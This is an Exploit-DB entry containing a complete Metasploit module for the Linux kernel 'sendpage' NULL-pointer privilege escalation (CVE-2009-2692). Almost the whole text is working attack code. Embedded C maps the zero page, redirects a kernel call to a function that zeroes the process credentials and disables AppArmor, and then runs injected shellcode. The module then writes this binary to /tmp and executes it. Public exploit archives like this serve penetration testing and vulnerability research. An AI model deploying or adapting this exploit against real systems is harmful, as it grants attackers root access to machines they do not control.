标题: Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local Privilege Escalation (Metasploit) EDB-ID: 19933 CVE: 2009-2692 类型: LOCAL 平台: LINUX 发布日期: 2012-07-19 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
 Rank = ExcellentRanking

 include Msf::Exploit::EXE
 include Msf::Post::File
 include Msf::Post::Common

 include Msf::Exploit::Local::LinuxKernel
 include Msf::Exploit::Local::Linux
 include Msf::Exploit::Local::Unix

 def initialize(info={})
  super( update_info( info, {
    'Name'          => 'Linux Kernel Sendpage Local Privilege Escalation',
    'Description'   => %q{
     AKA Wunderbar Emporium
    },
    'License'       => MSF_LICENSE,
    'Author'        =>
     [
      'spender',        # wunderbar_emporium.tgz
      'rcvalle',        # sock_sendpage.c
      'egypt'           # metasploit module
     ],
    'Platform'      => [ 'linux' ],
    'Arch'          => [ ARCH_X86 ],
    'SessionTypes'  => [ 'shell', 'meterpreter' ],
    'References'    =>
     [
      [ 'CVE', '2009-2692' ],
      [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
      [ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
     ],
    'Targets'       =>
     [
      [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
      #[ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ],
     ],
    'DefaultTarget' => 0,
   }
   ))
 end

 def exploit
  sc = Metasm::ELF.new(@cpu)
  sc.parse %Q|
   #define DEBUGGING
   #define NULL ((void*)0)
   #ifdef __ELF__
    .section ".bss" rwx
    .section ".text" rwx
    .entrypoint
   #endif
   call main
   ;push eax
   call exit
  |

  # Set up the same include order as the bionic build system.
  # See external/source/meterpreter/source/bionic/libc/Jamfile
  cparser.lexer.include_search_path = [
   "external/source/meterpreter/source/bionic/libc/include/",
   "external/source/meterpreter/source/bionic/libc/private/",
   "external/source/meterpreter/source/bionic/libc/bionic/",
   "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
   "external/source/meterpreter/source/bionic/libc/kernel/common/",
   "external/source/meterpreter/source/bionic/libc/arch-x86/include/",
  ]

  cparser.parse(%Q|
   #define DEBUGGING
   // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
   #ifndef __extension__
   #define __extension__
   #endif
   // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
   // Doing #if on an undefined macro is fine in GCC, but a parse error in
   // metasm.
   #ifndef __STDC__
   #define __STDC__ 0
   #endif
   #include <sys/types.h>
   #include <sys/mman.h>
   #include <stdarg.h>
   #include <stdio.h>
   #include <unistd.h>
   #include <errno.h>
   /*
   OpenBSD's strcmp from string/strcmp.c in bionic
   */
   int
   strcmp(const char *s1, const char *s2)
   {
    while (*s1 == *s2++)
     if (*s1++ == 0)
      return (0);
    return (*(unsigned char *)s1 - *(unsigned char *)--s2);
   }
  |)

  [
   "external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
   "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
   "external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
   "external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
   # This parses without any trouble, but actually calling perror() causes
   # immediate segfaults.
   #"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

   # For some ungodly reason, NULL ends up being undefined when parsing this
   # guy, which of course causes parse errors.
   #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

  ].each do |fname|
   print_status("Parsing c file #{fname}")
   cparser.parse(File.read(fname), fname)
  end

  print_status("Unix socket.h")
  unix_socket_h(sc)
  current_task_struct_h(sc)

  case target.arch.first
  when ARCH_X86
  print_status("syscall wrappers")
   linux_x86_syscall_wrappers(sc)
   main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
 PF_BLUETOOTH,
 PF_APPLETALK,
 PF_IPX,
 PF_IRDA,
 PF_X25,
 PF_AX25,
 PF_BLUETOOTH,
 PF_PPPOX,
 DOMAINS_STOP
 };

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
 FILE *f;
 unsigned long addr;
 char dummy;
 char sname[256];
 int ret;

 f = fopen("/proc/kallsyms", "r");
 if (f == NULL) {
  f = fopen("/proc/ksyms", "r");
  if (f == NULL) {
   printf("Unable to obtain symbol listing!\n");
   return 0;
  }
 }

 ret = 0;
 while(ret != EOF) {
  ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  if (ret == 0) {
   fscanf(f, "%s\n", sname);
   continue;
  }
  if (!strcmp(name, sname)) {
   printf(" [+] Resolved %s to %p\n", name, (void *)addr);
   fclose(f);
   return addr;
  }
 }

 fclose(f);
 return 0;
}


static void
change_cred(void)
{
 unsigned int *task_struct;

 task_struct = (unsigned int *)current_task_struct();

 while (task_struct) {
  if (task_struct[0] == uid && task_struct[1] == uid &&
    task_struct[2] == uid && task_struct[3] == uid &&
    task_struct[4] == gid && task_struct[5] == gid &&
    task_struct[6] == gid && task_struct[7] == gid) {
   task_struct[0] = task_struct[1] =
   task_struct[2] = task_struct[3] =
   task_struct[4] = task_struct[5] =
   task_struct[6] = task_struct[7] = 0;
   break;
  }

  task_struct++;
 }

 return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

 got_ring0 = 1;
 if (apparmor_enabled && *apparmor_enabled) {
  *apparmor_enabled = 0;
 }
 change_cred();
 return -1;
}

const char *shellcode =
"";
int shellcode_size = 0;

int main() {
 int i = 0;
 int d;
 int in_fd, out_fd;
 char *mapped;
 char template[] = "/tmp/sendfile.XXXXXX";
 int (*func)();

 uid = getuid(), gid = getgid();

 mapped = mmap(NULL , 0x1000,
   PROT_READ | PROT_WRITE | PROT_EXEC,
   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
   0, 0
  );
 if (mapped == NULL) {
  printf("Mapped zero page!\n");
 } else {
  exit(1);
 }

 // jmp dword near [dword 0x8]
 mapped[0] = '\xff';
 mapped[1] = '\x25';
 *(unsigned long *)&mapped[2] = 8;
 *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

 for (i = 0; i < 16; i++) {
  printf("\\\\x%02x", (unsigned char)mapped[i]);
 }
 printf("\n");

 for (d = 0; domains[d] != DOMAINS_STOP; d++) {
  //printf("Next domain ... ");
  out_fd = socket(domains[d], SOCK_DGRAM, 0);
  if (out_fd > 0) {
   printf("Got domain[%d]\n", d);
   break;
  }
  if (out_fd < 0) {
   printf("out_fd: %d, Errno: %d\n", out_fd, errno);
   exit(1);
  }
 }
 unlink(template);
 // Couldn't get mkstemp to work, just use open(2) for now
 in_fd = open(template, O_CREAT | O_RDWR, 0777);
 printf("Opened temp file: %d\n", in_fd);
 unlink(template);
 printf("Calling ftruncate\n");
 ftruncate(in_fd, 4096);

 printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
 printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
 sendfile(out_fd, in_fd, NULL, 4096);
 printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
 printf("UID: %d GID: %d\n", getuid(), getgid());

 func = mmap(NULL, 0x1000,
   PROT_READ | PROT_WRITE | PROT_EXEC,
   MAP_PRIVATE | MAP_ANONYMOUS,
   0, 0
  );
 mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
 // weaksauce memcpy so we don't have to #include <string.h>
 printf("Copying %d bytes of shellcode\n", shellcode_size);
 for (i = 0; i < shellcode_size; i++) {
  (char)func[i] = (char)shellcode[i];
 }
 printf("Calling shellcode: 0x%p\n", func);
 //sigtrap();
 func();

 return got_ring0;
}
^
   main.gsub!(/shellcode =/) do
    # split the payload into 16-byte chunks and dump it out as a
    # hex-escaped C string
    %Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
   end
   main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
   cparser.parse(main, "main.c")

   asm = cpu.new_ccompiler(cparser, sc).compile

   sc.parse asm
  end

  sc.assemble

  begin
   if sc.kind_of? Metasm::ELF
    elf = sc.encode_string
   else
    foo = sc.encode_string
    elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
   end
  rescue
   print_error "Metasm Encoding failed: #{$!}"
   elog "Metasm Encoding failed: #{$!.class} : #{$!}"
   elog "Call stack:\n#{$!.backtrace.join("\n")}"
   return
  end

  #puts Rex::Text.to_hex_dump(foo)
  File.open("payload.bin", "wb") {|fd|
   fd.write elf
  }
  print_status "Writing exploit executable (#{elf.length} bytes)"
  cmd_exec("rm /tmp/sendpage")
  write_file("/tmp/sendpage", elf)
  output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
  output.each_line { |line| print_debug line.chomp }
  #cmd_exec("rm /tmp/sendpage")

 end

end URL: https://www.exploit-db.com/exploits/19933